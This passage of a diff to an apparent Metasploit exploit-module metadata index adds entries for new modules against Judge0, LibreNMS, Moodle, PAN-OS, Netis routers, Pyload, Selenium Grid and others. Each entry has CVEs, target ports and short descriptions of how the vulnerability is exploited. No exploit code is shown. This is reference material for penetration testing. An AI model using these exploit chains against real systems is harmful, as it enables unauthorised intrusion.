"targets": [ + "Automatic" + ], + "mod_time": "2024-12-03 18:33:43 +0000", + "path": "/modules/exploits/linux/http/ivanti_connect_secure_rce_cve_2024_37404.rb", + "is_install_path": true, + "ref_name": "linux/http/ivanti_connect_secure_rce_cve_2024_37404", + "check": true, + "post_auth": true, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + "repeatable-session" + ], + "SideEffects": [ + "artifacts-on-disk", + "ioc-in-logs", + "account-logout" + ] + }, + "session_types": false, + "needs_cleanup": null + }, "exploit_linux/http/ivanti_csa_unauth_rce_cve_2021_44529": { "name": "Ivanti Cloud Services Appliance (CSA) Command Injection", "fullname": "exploit/linux/http/ivanti_csa_unauth_rce_cve_2021_44529", @@ -75751,6 +76762,69 @@ "session_types": false, "needs_cleanup": null }, + "exploit_linux/http/judge0_sandbox_escape_cve_2024_28189": { + "name": "Judge0 sandbox escape", + "fullname": "exploit/linux/http/judge0_sandbox_escape_cve_2024_28189", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2024-03-04", + "type": "exploit", + "author": [ + "Tanto Security", + "Takahiro Yokoyama" + ], + "description": "Judge0 does not account for symlinks placed inside the sandbox directory,\n which can be leveraged by an attacker to write to arbitrary files and gain code execution outside of the sandbox.", + "references": [ + "CVE-2024-28185", + "CVE-2024-28189", + "URL-https://tantosec.com/blog/judge0/" + ], + "platform": "Linux", + "arch": "", + "rport": 2358, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "Linux Command" + ], + "mod_time": "2024-10-23 07:29:21 +0000", + "path": "/modules/exploits/linux/http/judge0_sandbox_escape_cve_2024_28189.rb", + "is_install_path": true, + "ref_name": "linux/http/judge0_sandbox_escape_cve_2024_28189", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "config-changes", + "artifacts-on-disk", + "ioc-in-logs" + ], + "Reliability": [ + "repeatable-session" + ] + }, + "session_types": false, + "needs_cleanup": true + }, "exploit_linux/http/kafka_ui_unauth_rce_cve_2023_52251": { "name": "Kafka UI Unauthenticated Remote Command Execution via the Groovy Filter option.", "fullname": "exploit/linux/http/kafka_ui_unauth_rce_cve_2023_52251", @@ -76272,6 +77346,67 @@ "session_types": false, "needs_cleanup": null }, + "exploit_linux/http/librenms_authenticated_rce_cve_2024_51092": { + "name": "LibreNMS Authenticated RCE (CVE-2024-51092)", + "fullname": "exploit/linux/http/librenms_authenticated_rce_cve_2024_51092", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2024-11-15", + "type": "exploit", + "author": [ + "murrant (Tony Murray)", + "Takahiro Yokoyama" + ], + "description": "An authenticated attacker can create dangerous directory names on the system and\n alter sensitive configuration parameters through the web portal.\n Those two defects combined then allows to inject arbitrary OS commands inside shell_exec() calls,\n thus achieving arbitrary code execution.", + "references": [ + "URL-https://github.com/advisories/GHSA-x645-6pf9-xwxw", + "CVE-2024-51092" + ], + "platform": "Linux", + "arch": "", + "rport": 80, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "Linux Command" + ], + "mod_time": "2025-01-20 21:24:16 +0000", + "path": "/modules/exploits/linux/http/librenms_authenticated_rce_cve_2024_51092.rb", + "is_install_path": true, + "ref_name": "linux/http/librenms_authenticated_rce_cve_2024_51092", + "check": true, + "post_auth": true, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "artifacts-on-disk", + "ioc-in-logs" + ], + "Reliability": [ + "repeatable-session" + ] + }, + "session_types": false, + "needs_cleanup": true + }, "exploit_linux/http/librenms_collectd_cmd_inject": { "name": "LibreNMS Collectd Command Injection", "fullname": "exploit/linux/http/librenms_collectd_cmd_inject", @@ -77625,6 +78760,68 @@ "session_types": false, "needs_cleanup": null }, + "exploit_linux/http/moodle_rce": { + "name": "Moodle Remote Code Execution (CVE-2024-43425)", + "fullname": "exploit/linux/http/moodle_rce", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2024-08-27", + "type": "exploit", + "author": [ + "Michael Heinzl", + "RedTeam Pentesting GmbH" + ], + "description": "This module exploits a command injection vulnerability in Moodle (CVE-2024-43425) to obtain remote code execution.\n Affected versions include 4.4 to 4.4.1, 4.3 to 4.3.5, 4.2 to 4.2.8, 4.1 to 4.1.11, and earlier unsupported versions.", + "references": [ + "URL-https://blog.redteam-pentesting.de/2024/moodle-rce/", + "URL-https://www.redteam-pentesting.de/en/advisories/rt-sa-2024-009/", + "URL-https://moodle.org/mod/forum/discuss.php?d=461193", + "CVE-2024-43425" + ], + "platform": "Linux", + "arch": "cmd", + "rport": 80, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "Linux Command" + ], + "mod_time": "2024-11-13 03:40:22 +0000", + "path": "/modules/exploits/linux/http/moodle_rce.rb", + "is_install_path": true, + "ref_name": "linux/http/moodle_rce", + "check": false, + "post_auth": true, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + "event-dependent" + ], + "SideEffects": [ + "ioc-in-logs" + ] + }, + "session_types": false, + "needs_cleanup": null + }, "exploit_linux/http/multi_ncc_ping_exec": { "name": "D-Link/TRENDnet NCC Service Command Injection", "fullname": "exploit/linux/http/multi_ncc_ping_exec", @@ -78333,6 +79530,68 @@ "session_types": false, "needs_cleanup": true }, + "exploit_linux/http/netalertx_rce_cve_2024_46506": { + "name": "Unauthenticated RCE in NetAlertX", + "fullname": "exploit/linux/http/netalertx_rce_cve_2024_46506", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2025-01-30", + "type": "exploit", + "author": [ + "Chebuya (Rhino Security Labs)", + "Takahiro Yokoyama" + ], + "description": "An attacker can update NetAlertX settings with no authentication, which results in RCE.", + "references": [ + "CVE-2024-46506", + "URL-https://rhinosecuritylabs.com/research/cve-2024-46506-rce-in-netalertx/" + ], + "platform": "Linux", + "arch": "", + "rport": 20211, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "Linux Command" + ], + "mod_time": "2025-02-11 11:25:24 +0000", + "path": "/modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb", + "is_install_path": true, + "ref_name": "linux/http/netalertx_rce_cve_2024_46506", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "config-changes", + "artifacts-on-disk", + "ioc-in-logs" + ], + "Reliability": [ + "repeatable-session" + ] + }, + "session_types": false, + "needs_cleanup": null + }, "exploit_linux/http/netgear_dgn1000_setup_unauth_exec": { "name": "Netgear DGN1000 Setup.cgi Unauthenticated RCE", "fullname": "exploit/linux/http/netgear_dgn1000_setup_unauth_exec", @@ -78817,6 +80076,72 @@ "session_types": false, "needs_cleanup": true }, + "exploit_linux/http/netis_unauth_rce_cve_2024_48456_and_48457": { + "name": "Netis Router Exploit Chain Reactor (CVE-2024-48455, CVE-2024-48456 and CVE-2024-48457).", + "fullname": "exploit/linux/http/netis_unauth_rce_cve_2024_48456_and_48457", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2024-12-27", + "type": "exploit", + "author": [ + "h00die-gr3y " + ], + "description": "Several Netis Routers including rebranded routers from GLCtec and Stonet suffer from a command injection\n vulnerability at the change admin password page of the router web interface (see CVE-2024-48456 for more details).\n The vulnerability stems from improper handling of the 'password' and 'new password' parameter within the\n router's web interface. Attackers can inject a command in the 'password' or 'new password' parameter,\n encoded in base64, to exploit the command injection vulnerability. When exploited, this can lead to\n command execution, potentially allowing the attacker to take full control of the router.\n An attacker needs to be authenticated to initiate this RCE, however CVE-2024-48457 allows an unauthenticated\n attacker to reset the Wifi and router password, hence gaining full root access to the router to execute the RCE.\n\n Last but not least, CVE-2024-48455 allows for unauthenticated information disclosure revealing sensitive configuration\n information of the router which can be used by the attacker to determine if the router is running specific vulnerable\n firmware.\n\n The following router firmware versions are vulnerable:\n * netis_MW5360_V1.0.1.3031_fw.bin\n * Netis_MW5360-1.0.1.3442.bin\n * Netis_MW5360_RUSSIA_844.bin\n * netis_NC21_V3.0.0.3800.bin (https://www.netisru.com/support/downinfo.html?id=40)\n * netis_NC63_V3.0.0.3327.bin (https://www.netis-systems.com/support/downinfo.html?id=35)\n * netis_NC63_v4_Bangladesh-V3.0.0.3889.bin (https://www.netis-systems.com/support/downinfo.html?id=35)\n * Netis_NC63-V3.0.0.3833.bin (https://www.netisru.com/support/downinfo.html?id=35)\n * netis_app_BeeWiFi_NC63_v4_Bangladesh-V3.0.0.3503.bin\n * netis_NC65_V3.0.0.3749.bin\n * Netis_NC65_Bangladesh-V3.0.0.3508.bin (https://www.netis-systems.com/support/downinfo.html?id=34)\n * Netis_NC65v2-V3.0.0.3800.bin (https://www.netisru.com/support/downinfo.html?id=34)\n * netis_NX10_V2.0.1.3582_fw.bin\n * netis_NX10_V2.0.1.3643.bin\n * Netis_NX10_v1_Bangladesh-V3.0.0.4142.bin (https://www.netis-systems.com/support/downinfo.html?id=33)\n * netis_NX10-V3.0.1.4205.bin (https://www.netisru.com/support/downinfo.html?id=33)\n * netis_app_BeeWiFi_NC21_v4_Bangladesh-V3.0.0.3329.bin\n * netis_app_BeeWiFi_NC21_v4_Bangladesh-V3.0.0.3500.bin\n * Netis_NC21_v2_Bangladesh-V3.0.0.3854.bin (https://www.netis-systems.com/support/downinfo.html?id=40)\n * GLC_ALPHA_AC3-V3.0.2.115.bin (https://drive.google.com/drive/folders/1P69yUfzeZeR6oABmIdcJ6fG57-Xjrzx6)\n * potentially others...", + "references": [ + "CVE-2024-48455", + "CVE-2024-48456", + "CVE-2024-48457", + "URL-https://attackerkb.com/topics/L6qgmDIMa1/cve-2024-48455", + "URL-https://attackerkb.com/topics/Urqj4ggP4j/cve-2024-48456", + "URL-https://attackerkb.com/topics/ty1TOgc40f/cve-2024-48457", + "URL-https://github.com/users/h00die-gr3y/projects/1" + ], + "platform": "Linux", + "arch": "mipsle", + "rport": 80, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "Linux Dropper" + ], + "mod_time": "2025-01-07 20:33:41 +0000", + "path": "/modules/exploits/linux/http/netis_unauth_rce_cve_2024_48456_and_48457.rb", + "is_install_path": true, + "ref_name": "linux/http/netis_unauth_rce_cve_2024_48456_and_48457", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + "repeatable-session" + ], + "SideEffects": [ + "ioc-in-logs", + "artifacts-on-disk", + "config-changes" + ] + }, + "session_types": false, + "needs_cleanup": true + }, "exploit_linux/http/netsweeper_webadmin_unixlogin": { "name": "Netsweeper WebAdmin unixlogin.php Python Code Injection", "fullname": "exploit/linux/http/netsweeper_webadmin_unixlogin", @@ -79577,6 +80902,138 @@ "session_types": false, "needs_cleanup": true }, + "exploit_linux/http/paloalto_expedition_rce": { + "name": "Palo Alto Expedition Remote Code Execution (CVE-2024-5910 and CVE-2024-9464)", + "fullname": "exploit/linux/http/paloalto_expedition_rce", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2024-10-09", + "type": "exploit", + "author": [ + "Michael Heinzl", + "Zach Hanley", + "Enrique Castillo", + "Brian Hysell" + ], + "description": "Obtain remote code execution in Palo Alto Expedition version 1.2.91 and below.\n The first vulnerability, CVE-2024-5910, allows to reset the password of the admin user, and the second vulnerability, CVE-2024-9464, is an authenticated OS command injection. In a default installation, commands will get executed in the context of www-data.\n When credentials are provided, this module will only exploit the second vulnerability. If no credentials are provided, the module will first try to reset the admin password and then perform the OS command injection.", + "references": [ + "URL-https://www.horizon3.ai/attack-research/palo-alto-expedition-from-n-day-to-full-compromise/", + "URL-https://security.paloaltonetworks.com/PAN-SA-2024-0010", + "URL-https://security.paloaltonetworks.com/CVE-2024-5910", + "URL-https://attackerkb.com/topics/JwTzQJuBmn/cve-2024-5910", + "URL-https://attackerkb.com/topics/ky1MIrne9r/cve-2024-9464", + "CVE-2024-5910", + "CVE-2024-24809" + ], + "platform": "Linux,Unix", + "arch": "cmd", + "rport": 443, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "Linux Command" + ], + "mod_time": "2024-11-12 15:15:15 +0000", + "path": "/modules/exploits/linux/http/paloalto_expedition_rce.rb", + "is_install_path": true, + "ref_name": "linux/http/paloalto_expedition_rce", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + "repeatable-session" + ], + "SideEffects": [ + "ioc-in-logs", + "artifacts-on-disk", + "account-lockouts" + ] + }, + "session_types": false, + "needs_cleanup": true + }, + "exploit_linux/http/pandora_fms_auth_rce_cve_2024_11320": { + "name": "Pandora FMS authenticated command injection leading to RCE via LDAP using default DB password", + "fullname": "exploit/linux/http/pandora_fms_auth_rce_cve_2024_11320", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2024-11-21", + "type": "exploit", + "author": [ + "h00die-gr3y ", + "Askar mhaskar" + ], + "description": "Pandora FMS is a monitoring solution that provides full observability for your organization's\n technology. This module exploits an command injection vulnerability in the LDAP authentication\n mechanism of Pandora FMS.\n You need have admin access at the Pandora FMS Web application in order to execute this RCE.\n This access can be achieved leveraging a default password vulnerability in Pandora FMS that\n allows an attacker to access the Pandora FMS MySQL database, create a new admin user and gain\n administrative access to the Pandora FMS Web application. This attack can be remotely executed\n over the WAN as long as the MySQL services are exposed to the outside world.\n This issue affects Community, Free and Enterprise editions: from v7.0NG.718 through <= v7.0NG.777.4", + "references": [ + "CVE-2024-11320", + "URL-https://pandorafms.com/en/security/common-vulnerabilities-and-exposures/", + "URL-https://attackerkb.com/topics/CsDUaLijbT/cve-2024-11320" + ], + "platform": "Linux,PHP,Unix", + "arch": "cmd, php", + "rport": 443, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "PHP Command", + "Unix/Linux Command" + ], + "mod_time": "2024-12-23 19:45:29 +0000", + "path": "/modules/exploits/linux/http/pandora_fms_auth_rce_cve_2024_11320.rb", + "is_install_path": true, + "ref_name": "linux/http/pandora_fms_auth_rce_cve_2024_11320", + "check": true, + "post_auth": true, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "artifacts-on-disk", + "ioc-in-logs" + ], + "Reliability": [ + "repeatable-session" + ] + }, + "session_types": false, + "needs_cleanup": null + }, "exploit_linux/http/pandora_fms_events_exec": { "name": "Pandora FMS Events Remote Command Execution", "fullname": "exploit/linux/http/pandora_fms_events_exec", @@ -79800,6 +81257,69 @@ "session_types": false, "needs_cleanup": null }, + "exploit_linux/http/panos_management_unauth_rce": { + "name": "Palo Alto Networks PAN-OS Management Interface Unauthenticated Remote Code Execution", + "fullname": "exploit/linux/http/panos_management_unauth_rce", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2024-11-18", + "type": "exploit", + "author": [ + "watchTowr", + "sfewer-r7" + ], + "description": "This module exploits an authentication bypass vulnerability (CVE-2024-0012) and a command injection\n vulnerability (CVE-2024-9474) in the PAN-OS management web interface. An unauthenticated attacker can\n execute arbitrary code with root privileges.\n\n The following versions are affected:\n * PAN-OS 11.2 (up to and including 11.2.4-h1)\n * PAN-OS 11.1 (up to and including 11.1.5-h1)\n * PAN-OS 11.0 (up to and including 11.0.6-h1)\n * PAN-OS 10.2 (up to and including 10.2.12-h2)", + "references": [ + "CVE-2024-0012", + "CVE-2024-9474", + "URL-https://security.paloaltonetworks.com/CVE-2024-0012", + "URL-https://security.paloaltonetworks.com/CVE-2024-9474", + "URL-https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/" + ], + "platform": "Linux,Unix", + "arch": "cmd", + "rport": 443, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "Default" + ], + "mod_time": "2024-12-17 17:47:00 +0000", + "path": "/modules/exploits/linux/http/panos_management_unauth_rce.rb", + "is_install_path": true, + "ref_name": "linux/http/panos_management_unauth_rce", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + "repeatable-session" + ], + "SideEffects": [ + "ioc-in-logs" + ] + }, + "session_types": false, + "needs_cleanup": null + }, "exploit_linux/http/panos_op_cmd_exec": { "name": "Palo Alto Networks Authenticated Remote Code Execution", "fullname": "exploit/linux/http/panos_op_cmd_exec", @@ -80516,6 +82036,70 @@ "session_types": false, "needs_cleanup": null }, + "exploit_linux/http/projectsend_unauth_rce": { + "name": "ProjectSend r1295 - r1605 Unauthenticated Remote Code Execution", + "fullname": "exploit/linux/http/projectsend_unauth_rce", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2024-07-19", + "type": "exploit", + "author": [ + "Florent Sicchio", + "Hugo Clout", + "ostrichgolf" + ], + "description": "This module exploits an improper authorization vulnerability in ProjectSend versions r1295 through r1605.\n The vulnerability allows an unauthenticated attacker to obtain remote code execution by enabling user registration,\n disabling the whitelist of allowed file extensions, and uploading a malicious PHP file to the server.", + "references": [ + "CVE-2024-11680", + "URL-https://github.com/projectsend/projectsend/commit/193367d937b1a59ed5b68dd4e60bd53317473744", + "URL-https://www.synacktiv.com/sites/default/files/2024-07/synacktiv-projectsend-multiple-vulnerabilities.pdf", + "CVE-2024-11680" + ], + "platform": "", + "arch": "", + "rport": 80, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "PHP Command" + ], + "mod_time": "2024-12-11 13:54:06 +0000", + "path": "/modules/exploits/linux/http/projectsend_unauth_rce.rb", + "is_install_path": true, + "ref_name": "linux/http/projectsend_unauth_rce", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + "repeatable-session" + ], + "SideEffects": [ + "artifacts-on-disk", + "ioc-in-logs" + ] + }, + "session_types": false, + "needs_cleanup": null + }, "exploit_linux/http/pulse_secure_cmd_exec": { "name": "Pulse Secure VPN Arbitrary Command Execution", "fullname": "exploit/linux/http/pulse_secure_cmd_exec", @@ -80654,6 +82238,72 @@ "session_types": false, "needs_cleanup": null }, + "exploit_linux/http/pyload_js2py_cve_2024_39205": { + "name": "Pyload RCE (CVE-2024-39205) with js2py sandbox escape (CVE-2024-28397)", + "fullname": "exploit/linux/http/pyload_js2py_cve_2024_39205", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2024-10-28", + "type": "exploit", + "author": [ + "Marven11", + "Spencer McIntyre", + "jheysel-r7" + ], + "description": "CVE-2024-28397 is sandbox escape in js2py (<=0.74) which is a popular python package that can evaluate\n javascript code inside a python interpreter. The vulnerability allows for an attacker to obtain a reference\n to a python object in the js2py environment enabling them to escape the sandbox, bypass pyimport restrictions\n and execute arbitrary commands on the host. At the time of writing no patch has been released, version 0.74\n is the latest version of js2py which was released Nov 6, 2022.\n\n CVE-2024-39205 is an remote code execution vulnerability in Pyload (<=0.5.0b3.dev85) which is an open-source\n download manager designed to automate file downloads from various online sources. Pyload is vulnerable because\n it exposes the vulnerable js2py functionality mentioned above on the /flash/addcrypted2 API endpoint.\n This endpoint was designed to only accept connections from localhost but by manipulating the HOST header we\n can bypass this restriction in order to access the API to achieve unauth RCE.", + "references": [ + "CVE-2024-39205", + "CVE-2024-28397", + "URL-https://github.com/Marven11/CVE-2024-39205-Pyload-RCE", + "URL-https://github.com/pyload/pyload/security/advisories/GHSA-w7hq-f2pj-c53g", + "URL-https://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape" + ], + "platform": "Linux,Unix", + "arch": "cmd, x86, x64", + "rport": 9666, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "Unix Command", + "Linux Dropper" + ], + "mod_time": "2024-11-14 12:47:35 +0000", + "path": "/modules/exploits/linux/http/pyload_js2py_cve_2024_39205.rb", + "is_install_path": true, + "ref_name": "linux/http/pyload_js2py_cve_2024_39205", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + "repeatable-session" + ], + "SideEffects": [ + "ioc-in-logs", + "artifacts-on-disk" + ] + }, + "session_types": false, + "needs_cleanup": null + }, "exploit_linux/http/pyload_js2py_exec": { "name": "pyLoad js2py Python Execution", "fullname": "exploit/linux/http/pyload_js2py_exec", @@ -81647,6 +83297,132 @@ "session_types": false, "needs_cleanup": null }, + "exploit_linux/http/selenium_greed_chrome_rce_cve_2022_28108": { + "name": "Selenium chrome RCE", + "fullname": "exploit/linux/http/selenium_greed_chrome_rce_cve_2022_28108", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2022-04-18", + "type": "exploit", + "author": [ + "randomstuff (Gabriel Corona)", + "Wiz Research", + "Takahiro Yokoyama" + ], + "description": "Selenium Server (Grid) before 4.0.0-alpha-7 allows CSRF because it permits non-JSON content types\n such as application/x-www-form-urlencoded, multipart/form-data, and text/plain.", + "references": [ + "CVE-2022-28108", + "URL-https://www.wiz.io/blog/seleniumgreed-cryptomining-exploit-attack-flow-remediation-steps", + "URL-https://www.gabriel.urdhr.fr/2022/02/07/selenium-standalone-server-csrf-dns-rebinding-rce/" + ], + "platform": "Linux", + "arch": "", + "rport": 4444, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "Linux Command" + ], + "mod_time": "2025-01-07 10:47:04 +0000", + "path": "/modules/exploits/linux/http/selenium_greed_chrome_rce_cve_2022_28108.rb", + "is_install_path": true, + "ref_name": "linux/http/selenium_greed_chrome_rce_cve_2022_28108", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "artifacts-on-disk", + "ioc-in-logs" + ], + "Reliability": [ + "repeatable-session" + ] + }, + "session_types": false, + "needs_cleanup": null + }, + "exploit_linux/http/selenium_greed_firefox_rce_cve_2022_28108": { + "name": "Selenium geckodriver RCE", + "fullname": "exploit/linux/http/selenium_greed_firefox_rce_cve_2022_28108", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2022-04-18", + "type": "exploit", + "author": [ + "Jon Stratton", + "Takahiro Yokoyama" + ], + "description": "Selenium Server (Grid) <= 4.27.0 (latest version at the time of this writing)\n allows CSRF because it permits non-JSON content types\n such as application/x-www-form-urlencoded, multipart/form-data, and text/plain.", + "references": [ + "CVE-2022-28108", + "URL-https://www.gabriel.urdhr.fr/2022/02/07/selenium-standalone-server-csrf-dns-rebinding-rce/", + "URL-https://github.com/JonStratton/selenium-node-takeover-kit/tree/master", + "EDB-49915" + ], + "platform": "Linux", + "arch": "", + "rport": 4444, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "Linux Command" + ], + "mod_time": "2025-01-08 13:04:08 +0000", + "path": "/modules/exploits/linux/http/selenium_greed_firefox_rce_cve_2022_28108.rb", + "is_install_path": true, + "ref_name": "linux/http/selenium_greed_firefox_rce_cve_2022_28108", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "artifacts-on-disk", + "ioc-in-logs" + ], + "Reliability": [ + "repeatable-session" + ] + }, + "session_types": false, + "needs_cleanup": null + }, "exploit_linux/http/smt_ipmi_close_window_bof": { "name": "Supermicro Onboard IPMI close_window.cgi Buffer Overflow", "fullname": "exploit/linux/http/smt_ipmi_close_window_bof", @@ -83753,7 +85529,7 @@ "targets": [ "Ubiquiti airOS < 5.6.2" ], - "mod_time": "2022-04-14 17:25:48 +0000", + "mod_time": "2024-11-18 17:32:48 +0000", "path": "/modules/exploits/linux/http/ubiquiti_airos_file_upload.rb", "is_install_path": true, "ref_name": "linux/http/ubiquiti_airos_file_upload", @@ -87658,7 +89434,7 @@ "BINARY", "CMD" ], - "mod_time": "2023-12-01 16:06:48 +0000", + "mod_time": "2025-01-17 16:10:23 +0000", "path": "/modules/exploits/linux/local/docker_cgroup_escape.rb", "is_install_path": true, "ref_name": "linux/local/docker_cgroup_escape", @@ -88020,6 +89796,71 @@ ] }, + "exploit_linux/local/gameoverlay_privesc": { + "name": "GameOver(lay) Privilege Escalation and Container Escape", + "fullname": "exploit/linux/local/gameoverlay_privesc", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": "2023-07-26", + "type": "exploit", + "author": [ + "g1vi", + "h00die", + "bwatters-r7", + "gardnerapp" + ], + "description": "This module exploits the use of unsafe functions in a number of Ubuntu kernels\n utilizing vunerable versions of overlayfs. To mitigate CVE-2021-3493 the Linux\n kernel added a call to vfs_setxattr during ovl_do_setxattr. Due to independent\n changes to the kernel by the Ubuntu development team __vfs_setxattr_noperm is\n called during ovl_do_setxattr without calling the intermediate safety function\n vfs_setxattr. Ultimatly this module allows for root access to be achieved by\n writing setuid capabilities to a file which are not sanitized after being unioned\n with the upper mounted directory.", + "references": [ + "URL-https://www.crowdstrike.com/blog/crowdstrike-discovers-new-container-exploit/", + "URL-https://github.com/g1vi/CVE-2023-2640-CVE-2023-32629", + "URL-https://www.cvedetails.com/cve/CVE-2023-2640/", + "URL-https://www.cvedetails.com/cve/CVE-2023-32629/", + "URL-https://www.wiz.io/blog/ubuntu-overlayfs-vulnerability", + "CVE-2023-32629", + "CVE-2023-2640" + ], + "platform": "Linux,Unix", + "arch": "", + "rport": null, + "autofilter_ports": [ + + ], + "autofilter_services": [ + + ], + "targets": [ + "Linux_Binary", + "Linux_Command" + ], + "mod_time": "2024-12-17 16:52:24 +0000", + "path": "/modules/exploits/linux/local/gameoverlay_privesc.rb", + "is_install_path": true, + "ref_name": "linux/local/gameoverlay_privesc", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + "repeatable-session" + ], + "SideEffects": [ + "artifacts-on-disk" + ] + }, + "session_types": [ + "shell", + "meterpreter" + ], + "needs_cleanup": true, + "actions": [ + + ] + }, "exploit_linux/local/glibc_ld_audit_dso_load_priv_esc": { "name": "glibc LD_AUDIT Arbitrary DSO Load Privilege Escalation", "fullname": "exploit/linux/local/glibc_ld_audit_dso_load_priv_esc", @@ -89871,7 +91712,7 @@ "jheysel-r7", "Rory McNamara" ], - "description": "All versions of runc <=1.1.11, as used by containerization technologies such as Docker engine,\n and Kubernetes are vulnerable to an arbitrary file write.\n Due to a file descriptor leak it is possible to mount the host file system\n with the permissions of runc (typically root).\n\n Successfully tested on Ubuntu 22.04 with runc 1.1.7-0ubuntu1~22.04.1 and runc 1.1.11 using Docker build.\n Also tested on Debian 12.4.0 with runc 1.1.11 using Docker build.", + "description": "All versions of runc <=1.1.11, as used by containerization technologies such as Docker engine,\n and Kubernetes are vulnerable to an arbitrary file write.\n Due to a file descriptor leak it is possible to mount the host file system\n with the permissions of runc (typically root).\n\n Successfully tested on Ubuntu 22.04 with runc 1.1.7-0ubuntu1~22.04.1 and runc 1.1.11 using Docker build.\n Successfully tested on Debian 12.4.0 with runc 1.1.11 using Docker build.\n Successfully tested on Arch Linux 12/1/2024 with runc 1.1.10-1 using Docker build.", "references": [ "URL-https://snyk.io/blog/cve-2024-21626-runc-process-cwd-container-breakout/", "URL-https://github.com/opencontainers/runc/security/advisories/GHSA-xr7r-f8xq-vfvv", @@ -89891,7 +91732,7 @@ "targets": [ "Auto" ], - "mod_time": "2024-03-11 22:23:55 +0000", + "mod_time": "2025-01-09 09:59:09 +0000", "path": "/modules/exploits/linux/local/runc_cwd_priv_esc.rb", "is_install_path": true, "ref_name": "linux/local/runc_cwd_priv_esc", @@ -90568,7 +92409,7 @@ "targets": [ "Auto" ], - "mod_time": "2023-02-05 08:15:38 +0000", + "mod_time": "2025-01-22 17:06:48 +0000", "path": "/modules/exploits/linux/local/tomcat_ubuntu_log_init_priv_esc.rb", "is_install_path": true, "ref_name": "linux/local/tomcat_ubuntu_log_init_priv_esc", @@ -90655,6 +92496,65 @@ ] }, + "exploit_linux/local/ubuntu_needrestart_lpe": { + "name": "Ubuntu needrestart Privilege Escalation", + "fullname": "exploit/linux/local/ubuntu_needrestart_lpe", + "aliases": [ + + ], + "rank": 500, + "disclosure_date": "2024-11-19", + "type": "exploit", + "author": [ + "h00die", + "makuga01", + "qualys" + ], + "description": "Local attackers can execute arbitrary code as root by\n tricking needrestart into running the Python interpreter with an\n attacker-controlled PYTHONPATH environment variable.\n\n Verified against Ubuntu 22.04 with needrestart 3.5-5ubuntu2.1\n Attempted exploitation against Debian 12, expliotation failed", + "references": [ + "URL-https://github.com/makuga01/CVE-2024-48990-PoC", + 